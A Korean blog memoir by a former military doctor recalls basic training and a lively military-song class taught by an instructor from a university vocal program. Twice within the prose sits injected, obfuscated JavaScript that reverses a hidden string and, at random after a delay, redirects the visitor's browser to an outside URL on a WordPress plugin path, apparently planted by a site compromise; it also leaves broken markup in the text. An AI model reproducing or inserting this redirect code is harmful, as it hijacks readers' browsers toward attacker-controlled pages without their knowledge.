나의 군의관 시절 이야기(2) 군가의 추억

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¶ 박은식

 

-고된 훈련병 시절 심신 위로해 줄, 장르 불문하고 고막을 울려 줄 소리가 몹시 고파

-완성도 높은 곡에 성악과 출신 군가 교관의 가창력 더해져 오랜만에 ‘귀르가즘’ 경험

-좋은 교관님들과 함께했던 군의관님들 덕분에 고된 시간 잘 넘길 수 있어 참 고마워

 

 

괴산 육군학생군사학교에서 4주, 대전 의무학교에서 5주간의 훈련 기간 동안 모든 전자기기를 빼앗긴 채 긴장되고 고된 생활을 하다 보니 심신을 위로해 줄 음악이 엄청 듣고 싶었다.

Metallica의 ‘master of puppets’부터 러블리즈의 ‘아츄’까지… 장르를 불문하고 뭔가 내 고막을 울려 줄 감동의 소리가 몹시 고팠다.

시간이 흘러 훈련병 2주차(전역 D-1,150일). 군가 교육을 한다고 강당에 800명의 훈련병들이 모였다.

강단 한가운데 군기가 바짝 든 위풍당당한 교관이 자기 소개를 한다.

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to” style=”padding-left: 40px;”>“충성! 서울 음대 성악과 재학 중에 나라의 부름을 받고 입대하여 국군 장병의 군가 교육 임무를 맡은 OOO입니다! 충성!”
성악과 특유의 쩌렁쩌렁한 발성에 훈련병의 집중도 100프로로 시작된 군가 교육.

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‘진짜 사나이’와 임관식 때 행진하며 불렀던 ‘멸공의 횃불’도 좋았지만, ‘전선을 간다’는 정말 명곡이다.

 

대중적으로 유명한 ‘진짜 사나이’와 임관식 때 행진하며 불렀던 ‘멸공의 횃불’도 좋았지만, ‘전선을 간다는 비장한 멜로디에 완성도 높은 곡 구성과 성악과 출신의 가창력이 더해져 오랜만에 ‘귀르가즘’을 경험했다. 이 명곡은 진짜 오케스트라와 메탈밴드랑 협업해서 편곡해도 대박이겠다는 생각이 든다.

이외에 ‘멋진 사나이’, ‘행군의 아침’, ‘용사의 다짐’, ‘전우’, ‘최후의 5분’, ‘아리랑 겨레’, ‘진군가’ 등도 좋았다.

탁월한 교수법으로 10대 군가의 멜로디와 가사를 훈련병들 머리속에 팍!팍! 때려박은 다음 서울 음대 교관님의 도발이 이어졌다.

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to” style=”padding-left: 40px;”>“자! 다 외웠습니까? 그럼 교관이랑 군가로 배틀 뜰 사람 거수! 지금 아니면 언제 서울대 성악과를 노래로 이겨 보겠어? 응?”
크으! 여윾시 ‘스카이캐슬’과 ‘펜트하우스’ 드라마가 괜히 뜬 게 아니랑께!

 

지극히 조선반도스러운 학벌 자극에 흥분한 어느 훈련병이 샤우팅 창법으로 응전해 보았으나 처참히 발렸던 것으로 기억난다(그 선생님께는 죄송;;).
책장을 정리하다 눈에 띈 임관 수첩에 즐거웠던 추억이 떠올라 포스팅해 본다.

좋은 교관님들과 함께했던 ‘전우’ 군의관님들 덕분에 고된 시간 잘 넘길 수 있어 참 고마웠다. 모두 건승하길!

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